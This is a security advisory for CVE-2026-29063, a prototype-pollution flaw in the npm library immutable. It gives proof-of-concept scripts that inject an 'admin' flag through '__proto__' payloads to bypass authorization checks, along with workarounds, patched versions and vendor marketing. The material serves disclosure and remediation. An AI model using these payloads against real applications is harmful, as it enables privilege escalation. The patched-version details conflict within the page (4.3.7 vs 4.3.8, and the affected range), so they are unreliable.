Summary
Affected APIs
| API | Notes |
|---|---|
mergeDeep(target, source) |
Iterates source keys via ObjectSeq, assigns merged[key] |
mergeDeepWith(merger, target, source) |
Same code path |
merge(target, source) |
Shallow variant, same assignment logic |
Map.toJS() |
object[k] = v in toObject() with no __proto__ guard |
Map.toObject() |
Same toObject() implementation |
Map.mergeDeep(source) |
When source is converted to plain object |
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
- Validate user input
- Node.js flag --disable-proto
- Lock down built-in objects
- Avoid lookups on the prototype
- Create JavaScript objects with null prototype
Proof of Concept
PoC 1, mergeDeep privilege escalation
"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4
// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
'{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);
const merged = mergeDeep(userProfile, requestBody);
console.log("merged.name:", merged.name); // Eve (updated correctly)
console.log("merged.role:", merged.role); // user (own property wins)
console.log("merged.admin:", merged.admin); // true ← INJECTED via __proto__!
// Common security checks, both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)
// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true
PoC 2, All affected APIs
"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");
const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');
// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true
// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true
// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true
// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:", r4.admin); // true
// 5. Map.toObject() with __proto__ key
const m2 = Map({ user: "alice" }).set("__proto__", { admin: true });
const r5 = m2.toObject();
console.log("toObject admin:", r5.admin); // true
// 6. Nested path
const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}');
const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested);
console.log("nested admin:", r6.profile.admin); // true
// 7. Confirm NOT global
console.log("({}).admin:", {}.admin); // undefined (global safe)
Verified output against [email protected]:
mergeDeep admin: true
mergeDeepWith admin: true
merge admin: true
toJS admin: true
toObject admin: true
nested admin: true
({}).admin: undefined ← global Object.prototype NOT polluted
References
Are there any links users can visit to find out more?
Impact
What kind of vulnerability is it? Who is impacted?
A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.
CVE-2026-29063 has a CVSS score of 9.8 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.1.5, 4.3.8, 3.8.3); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Has the problem been patched? What versions should users upgrade to?
| major version | patched version |
|---|---|
| 3.x | 3.8.3 |
| 4.x | 4.3.7 |
| 5.x | 5.1.5 |
Frequently Asked Questions
- What is CVE-2026-29063? CVE-2026-29063 is a high-severity security vulnerability in immutable (npm), affecting versions >= 5.0.0, < 5.1.5. It is fixed in 5.1.5, 4.3.8, 3.8.3.
- How severe is CVE-2026-29063? CVE-2026-29063 has a CVSS score of 9.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of immutable are affected by CVE-2026-29063? immutable (npm) versions >= 5.0.0, < 5.1.5 is affected.
- Is there a fix for CVE-2026-29063? Yes. CVE-2026-29063 is fixed in 5.1.5, 4.3.8, 3.8.3. Upgrade to this version or later.
- Is CVE-2026-29063 exploitable, and should I be worried? Whether CVE-2026-29063 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-29063 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-29063?
- Upgrade
immutableto 5.1.5 or later - Upgrade
immutableto 4.3.8 or later - Upgrade
immutableto 3.8.3 or later
- Upgrade